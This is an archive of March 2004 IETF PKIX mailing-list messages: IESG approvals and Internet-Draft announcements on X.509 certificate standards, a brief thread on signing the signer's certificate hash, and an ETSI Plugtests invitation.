Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BMjOdq001589 for <[e-mail]>; Thu, 11 Mar 2004 14:45:24 -0800 (PST) (envelope-from [e-mail])
Received: from nobody by optimus.ietf.org with local (Exim 4.20) id 1B1Yvh-0007gM-GP; Thu, 11 Mar 2004 17:45:29 -0500
X-test-idtracker: no
From: The IESG <[e-mail]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[e-mail]>, RFC Editor <[e-mail]>, <[e-mail]>
Subject: Protocol Action: 'Internet X.509 Public Key Infrastructure  Certificate Management Protocols' to Proposed Standard 
Message-Id: <[e-mail]>
Date: Thu, 11 Mar 2004 17:45:29 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has approved the following document:

- 'Internet X.509 Public Key Infrastructure Certificate Management Protocols '
   <draft-ietf-pkix-rfc2510bis-09.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) Working 
Group. 

The IESG contact persons are Russ Housley and Steve Bellovin.

Technical Summary
This document obsoletes RFC 2510.

This document describes the Internet X.509 Public Key Infrastructure
(PKI) Certificate Management Protocol (CMP). Protocol messages are
defined for X.509v3 certificate creation and management. CMP provides
on-line interactions PKI components, including an exchange between a
Certification Authority (CA) and a client system.

Working Group Summary

The Working Group came to consensus on this document.

Protocol Quality

This document was reviewed by Jeffrey I. Schiller for the IESG.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BMbrtK000405; Thu, 11 Mar 2004 14:37:53 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2BMbras000404; Thu, 11 Mar 2004 14:37:53 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BMbpKU000398 for <[e-mail]>; Thu, 11 Mar 2004 14:37:51 -0800 (PST) (envelope-from [e-mail])
Received: from nobody by optimus.ietf.org with local (Exim 4.20) id 1B1YoN-00078d-72; Thu, 11 Mar 2004 17:37:55 -0500
X-test-idtracker: no
From: The IESG <[e-mail]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[e-mail]>, RFC Editor <[e-mail]>, <[e-mail]>
Subject: Protocol Action: 'Certificate Extensions and Attributes  Supporting Authentication in PPP and Wireless LAN' to Proposed  Standard 
Message-Id: <[e-mail]>
Date: Thu, 11 Mar 2004 17:37:55 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has approved the following document:

- 'Certificate Extensions and Attributes Supporting Authentication in PPP and 
   Wireless LAN '
   <draft-ietf-pkix-wlan-extns-05.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) Working 
Group. 

The IESG contact persons are Steve Bellovin and Russ Housley.

Technical Summary

Certificates have to be flagged for particular uses.  Thus, an email certificate 
can't be used for code-signing.  This document describes how to mark a certificate 
for PPP and Wireless LAN authentication.


Working Group Summary

There was working group consensus to advance this document.



Protocol Quality

The document was reviewed for the IESG by Steve Bellovin.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BKKHwg090647; Thu, 11 Mar 2004 12:20:17 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2BKKHWh090645; Thu, 11 Mar 2004 12:20:17 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BKKG9n090638 for <[e-mail]>; Thu, 11 Mar 2004 12:20:17 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20249; Thu, 11 Mar 2004 15:20:18 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-wlan-extns-05.txt
Date: Thu, 11 Mar 2004 15:20:18 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Certificate Extensions and Attributes Supporting
Authentication in PPP and Wireless LAN
	Author(s)	: R. Housley, T. Moore
	Filename	: draft-ietf-pkix-wlan-extns-05.txt
	Pages		: 9
	Date		: 2004-3-11
	
This document defines two EAP extended key usage values and a public
key certificate extension to carry Wireless LAN (WLAN) System Service
identifiers (SSIDs).

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-wlan-extns-05.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-wlan-extns-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-wlan-extns-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-wlan-extns-05.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-wlan-extns-05.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AKgNaT025002; Wed, 10 Mar 2004 12:42:23 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2AKgNxe025001; Wed, 10 Mar 2004 12:42:23 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AKgMxd024993 for <[e-mail]>; Wed, 10 Mar 2004 12:42:23 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03232; Wed, 10 Mar 2004 15:42:25 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-gost-cppk-00.txt
Date: Wed, 10 Mar 2004 15:42:25 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Algorithms and Identifiers for the Internet X.509 
			  Public Key Infrastructure Certificate and Certificate
			  Revocation List (CRL) Profile, corresponding to the 
			  algorithms GOST R 34.10-94, GOST R 34.10-200
	Author(s)	: S. Leontiev
	Filename	: draft-ietf-pkix-gost-cppk-00.txt
	Pages		: 23
	Date		: 2004-3-10
	
This document describes identifiers and appropriate parameters for
   the algorithms GOST R 34.10-94, GOST R 34.10-2001, GOST R 34.11-94,
   and also ASN.1 encoding scheme for digital signatures and public
   keys, used in Internet X.509 Public Key Infrastructure (PKI).  This
   specification extends [RFC3279], 'Algorithms and Identifiers for the
   Internet X.509 Public Key Infrastructure Certificate and Certificate
   Revocation List (CRL) Profile' and, correspondingly, [RFC3280],
   'Internet X.509 Public Key Infrastructure: Certificate and
   Certificate Revocation List (CRL) Profile'. All implementations of
   this specification MUST also satisfy the requirements of [RFC3280].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-gost-cppk-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-gost-cppk-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-gost-cppk-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-gost-cppk-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-gost-cppk-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AHdTih013268; Wed, 10 Mar 2004 09:39:29 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2AHdTO3013267; Wed, 10 Mar 2004 09:39:29 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av4-1-sn3.vrr.skanova.net (av4-1-sn3.vrr.skanova.net [81.228.9.111]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AHdSjp013260 for <[e-mail]>; Wed, 10 Mar 2004 09:39:29 -0800 (PST) (envelope-from [e-mail])
Received: by av4-1-sn3.vrr.skanova.net (Postfix, from userid 502) id 9F9C637EC5; Wed, 10 Mar 2004 18:39:26 +0100 (CET)
Received: from smtp1-2-sn3.vrr.skanova.net (smtp1-2-sn3.vrr.skanova.net [81.228.9.178]) by av4-1-sn3.vrr.skanova.net (Postfix) with ESMTP id 9030037E81; Wed, 10 Mar 2004 18:39:26 +0100 (CET)
Received: from arport (t9o913p30.telia.com [213.64.27.30]) by smtp1-2-sn3.vrr.skanova.net (Postfix) with SMTP id 7F10938042; Wed, 10 Mar 2004 18:39:25 +0100 (CET)
Message-ID: <01bc01c406c5$b6a81810$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: "pkix" <[e-mail]>
References: <006901c406b0$c49a16e0$0500a8c0@arport> <[e-mail]>
Subject: Re: Signing the hash of the signer's certficate
Date: Wed, 10 Mar 2004 18:32:50 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Thanx Denis,
Seems reasonable.
/anders
----- Original Message ----- 
From: "Denis Pinkas" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>
Cc: "pkix" <[e-mail]>
Sent: Wednesday, March 10, 2004 17:51
Subject: Re: Signing the hash of the signer's certficate


Anders,

> It seems that neither CMS nor XML Dsig explicitly
> support signing the hash of the signer's certificate.
> 
> But this has been added to ETSI's XAdES.

  ... and is present in RFC 3126 (Electronic Signature Formats
      for long term electronic signatures).

> I understand that the reason for this addition was to thwart
> changing the client certificate.

> However, there must be a considerable difficulty
> finding a client certificate with an identical public key
> (and a provable possession of a matching private key),
> which is required in order to succeed with this attack.

Asking for a client certificate with an identical public key,
when the CA has NOT performed a POP, might be easy.

When the hash of the signer's certificate is signed, it does not matter 
anymore whether or not the CA or the RA has performed a POP at registration 
time.

Signing the hash of the signer's certificate is like doing a POP, but in 
real time for each signature with the advantage that it can be immediately 
verified by a verifier.

This also means POP does NOT need to be performed at registration time by 
RAs for keys usable for NR purposes, if they are only used in the context of 
XAdES or RFC 3126.

Denis


 > (and a provable possession of a matching private key),

> Any thoughts about this?
> 
> Anders R





Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AGpob8010599; Wed, 10 Mar 2004 08:51:50 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2AGpoI1010598; Wed, 10 Mar 2004 08:51:50 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AGpnPT010589 for <[e-mail]>; Wed, 10 Mar 2004 08:51:49 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id SAA52210; Wed, 10 Mar 2004 18:00:05 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id SAA03141; Wed, 10 Mar 2004 18:47:45 +0100
Message-ID: <[e-mail]>
Date: Wed, 10 Mar 2004 17:51:45 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: Anders Rundgren <[e-mail]>
CC: pkix <[e-mail]>
Subject: Re: Signing the hash of the signer's certficate
References: <006901c406b0$c49a16e0$0500a8c0@arport>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

> It seems that neither CMS nor XML Dsig explicitly
> support signing the hash of the signer's certificate.
> 
> But this has been added to ETSI's XAdES.

  ... and is present in RFC 3126 (Electronic Signature Formats
      for long term electronic signatures).

> I understand that the reason for this addition was to thwart
> changing the client certificate.

> However, there must be a considerable difficulty
> finding a client certificate with an identical public key
> (and a provable possession of a matching private key),
> which is required in order to succeed with this attack.

Asking for a client certificate with an identical public key,
when the CA has NOT performed a POP, might be easy.

When the hash of the signer's certificate is signed, it does not matter 
anymore whether or not the CA or the RA has performed a POP at registration 
time.

Signing the hash of the signer's certificate is like doing a POP, but in 
real time for each signature with the advantage that it can be immediately 
verified by a verifier.

This also means POP does NOT need to be performed at registration time by 
RAs for keys usable for NR purposes, if they are only used in the context of 
XAdES or RFC 3126.

Denis


 > (and a provable possession of a matching private key),

> Any thoughts about this?
> 
> Anders R





Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AGGKDt008715; Wed, 10 Mar 2004 08:16:20 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2AGGKV6008712; Wed, 10 Mar 2004 08:16:20 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp-ft5.fr.colt.net (smtp-ft5.fr.colt.net [213.41.78.204]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AGGJhP008700 for <[e-mail]>; Wed, 10 Mar 2004 08:16:19 -0800 (PST) (envelope-from [e-mail])
Received: from free.fr (host.106.92.68.195.rev.coltfrance.com [195.68.92.106]) by smtp-ft5.fr.colt.net with ESMTP id i2AGGHi25515 for <[e-mail]>; Wed, 10 Mar 2004 17:16:17 +0100
Message-ID: <[e-mail]>
Date: Wed, 10 Mar 2004 17:16:30 +0100
From: Jean-Marc Desperrier <[e-mail]>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:) Gecko/20040226
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Signing the hash of the signer's certficate
References: <006901c406b0$c49a16e0$0500a8c0@arport>
In-Reply-To: <006901c406b0$c49a16e0$0500a8c0@arport>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders Rundgren wrote:

>It seems that neither CMS nor XML Dsig explicitly
>support signing the hash of the signer's certificate.
>  
>
It was not included directly inside RFC2630, but inside a RFC that 
followed it shortly : RFC2634.

The extension can be placed as a signed attribute inside any CMS or 
pkcs#7 message.

>I understand that the reason for this addition was to thwart
>changing the client certificate.
>
>However, there must be a considerable difficulty
>finding a client certificate with an identical public key
>  
>
Read RFC2634 chapter 5 and you will see the true reasons why this should 
be done :

http://www.zvon.org/tmRFC/RFC2634/Output/chapter5.html



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AF9auf004198; Wed, 10 Mar 2004 07:09:36 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2AF9ack004197; Wed, 10 Mar 2004 07:09:36 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av1-1-sn3.vrr.skanova.net (av1-1-sn3.vrr.skanova.net [81.228.9.105]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2AF9ZfW004187 for <[e-mail]>; Wed, 10 Mar 2004 07:09:36 -0800 (PST) (envelope-from [e-mail])
Received: by av1-1-sn3.vrr.skanova.net (Postfix, from userid 502) id 9BF0737F18; Wed, 10 Mar 2004 16:09:30 +0100 (CET)
Received: from smtp1-2-sn3.vrr.skanova.net (smtp1-2-sn3.vrr.skanova.net [81.228.9.178]) by av1-1-sn3.vrr.skanova.net (Postfix) with ESMTP id 8E72937E97 for <[e-mail]>; Wed, 10 Mar 2004 16:09:30 +0100 (CET)
Received: from arport (t11o913p70.telia.com [213.64.28.70]) by smtp1-2-sn3.vrr.skanova.net (Postfix) with SMTP id 6A3EC38002 for <[e-mail]>; Wed, 10 Mar 2004 16:09:29 +0100 (CET)
Message-ID: <006901c406b0$c49a16e0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>
Subject: Signing the hash of the signer's certficate
Date: Wed, 10 Mar 2004 16:02:54 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

It seems that neither CMS nor XML Dsig explicitly
support signing the hash of the signer's certificate.

But this has been added to ETSI's XAdES.

I understand that the reason for this addition was to thwart
changing the client certificate.

However, there must be a considerable difficulty
finding a client certificate with an identical public key
(and a provable possession of a matching private key),
which is required in order to succeed with this attack.

Any thoughts about this?

Anders R



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2A9AIFf068312; Wed, 10 Mar 2004 01:10:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2A9AI2m068311; Wed, 10 Mar 2004 01:10:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from postman-pat.actimage.fr (postman-pat.actimage.net [80.87.224.5]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2A9AGTN068247 for <[e-mail]>; Wed, 10 Mar 2004 01:10:17 -0800 (PST) (envelope-from [e-mail])
Received: from leila (inet-gate3 [80.87.224.93]) by postman-pat.actimage.fr (8.11.4/8.11.4) with SMTP id i2A93rC19603 for <[e-mail]>; Wed, 10 Mar 2004 10:03:53 +0100 (CET)
Message-ID: <03b101c4067f$c81948d0$4406a8c0@leila>
From: "Muriel Souville" <[e-mail]>
To: "'Ietf-Pkix@Imc. Org'" <[e-mail]>
Subject: Launch of the Security Plugtests Registration
Date: Wed, 10 Mar 2004 10:12:10 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_03A7_01C40688.26CD6390"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_03A7_01C40688.26CD6390
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear all,

The ETSI Plugtests(tm) Service is pleased to announce the opening
of the Security Plugtests registration.
The event will take place from 24 till 28 May at the ETSI premises,
in Sophia Antipolis (France).
Deadline to register is 5th May.

 All details about the event are to be found at
http://www.etsi.org/plugtests/security.htm

Feel free to forward this email to as many people as you want in order
to have a really interesting test opportunity this week.

For any enquiry you may have, please write to [e-mail].

Thanks for your attention.
We look forward to welcoming you at our Headquarters in May.

Best regards

Muriel SOUVILLE
ETSI Consultant
Tel: [phone]

------=_NextPart_000_03A7_01C40688.26CD6390
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Times New Roman" =
size=3D3>Dear=20
all,<BR><BR>The ETSI Plugtests(tm) Service is pleased to announce the=20
opening<BR>of the Security Plugtests registration.<BR>The event will =
take place=20
from 24 till 28 May at the ETSI premises,<BR>in Sophia Antipolis=20
(France).<BR>Deadline to register is 5th May.<BR><BR>&nbsp;All details =
about the=20
event are to be found at<BR></FONT><A=20
href=3D"http://www.etsi.org/plugtests/security.htm"><FONT face=3D"Times =
New Roman"=20
size=3D3>http://www.etsi.org/plugtests/security.htm</FONT></A><BR><BR><FO=
NT=20
face=3D"Times New Roman" size=3D3>Feel free to forward this email to as =
many people=20
as you want in order<BR>to have a really interesting test opportunity =
this=20
week.<BR><BR>For any enquiry you may have, please write to </FONT><A=20
href=3D"mailto:[e-mail]"><FONT face=3D"Times New Roman"=20
size=3D3>[e-mail]</FONT></A><FONT face=3D"Times New Roman"=20
size=3D3>.<BR><BR>Thanks for your attention.<BR>We look forward to =
welcoming you=20
at our Headquarters in May.<BR><BR>Best regards<BR><BR>Muriel =
SOUVILLE<BR>ETSI=20
Consultant<BR>Tel: [phone]=20
63</FONT><BR></FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_03A7_01C40688.26CD6390--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i28KNZRp097476; Mon, 8 Mar 2004 12:23:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i28KNZif097475; Mon, 8 Mar 2004 12:23:35 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i28KNYdE097468 for <[e-mail]>; Mon, 8 Mar 2004 12:23:34 -0800 (PST) (envelope-from [e-mail])
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27170; Mon, 8 Mar 2004 15:23:36 -0500 (EST)
Message-Id: <[e-mail]>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: [e-mail]
From: [e-mail]
Reply-to: [e-mail]
Subject: I-D ACTION:draft-ietf-pkix-sonof3039-06.txt
Date: Mon, 08 Mar 2004 15:23:35 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
	Author(s)	: S. Santesson, M. Nystrom
	Filename	: draft-ietf-pkix-sonof3039-06.txt
	Pages		: 34
	Date		: 2004-3-3
	
This document forms a certificate profile, based on RFC 3280, for
   identity certificates issued to natural persons.

   The profile defines specific conventions for certificates that are
   qualified within a defined legal framework, named Qualified
   Certificates. The profile does however not define any legal
   requirements for such Qualified Certificates.

   The goal of this document is to define a certificate profile that
   supports issuance of Qualified Certificates independent of local
   legal requirements.  The profile is however not limited to Qualified
   Certificates and further profiling may facilitate specific local
   needs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sonof3039-06.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-sonof3039-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[e-mail].
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-sonof3039-06.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-sonof3039-06.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-sonof3039-06.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




